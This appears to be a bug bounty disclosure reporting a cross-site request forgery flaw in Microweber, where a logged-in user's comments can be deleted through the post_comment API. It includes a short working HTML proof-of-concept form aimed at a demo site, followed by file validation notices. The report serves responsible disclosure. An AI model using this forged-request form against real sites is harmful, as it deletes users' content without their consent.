Cross-Site Request Forgery (CSRF) in microweber/microweber
Valid
Reported on
Oct 22nd 2021
Description
Hello Microweber team
I found a CSRF on deleting the comments :
//PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.microweber.org/demo/api/post_comment">
<input type="hidden" name="id" value="1" />
<input type="hidden" name="action" value="delete" />
<input type="hidden" name="_method" value="POST" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
after you run this PoC.html you can see that the comment with id 1 will be deleted.
We have contacted a member of the
microweber
team and are waiting to hear back
2 years ago
manage.php#L1-L11
has been validated
Model.php#L1-L63
has been validated
functions.php#L1-L200
has been validated
admin.php#L1-L18
has been validated
Api.php#L1-L241
has been validated
view.php#L1-L57
has been validated
Controller.php#L1-L32
has been validated
to join this conversation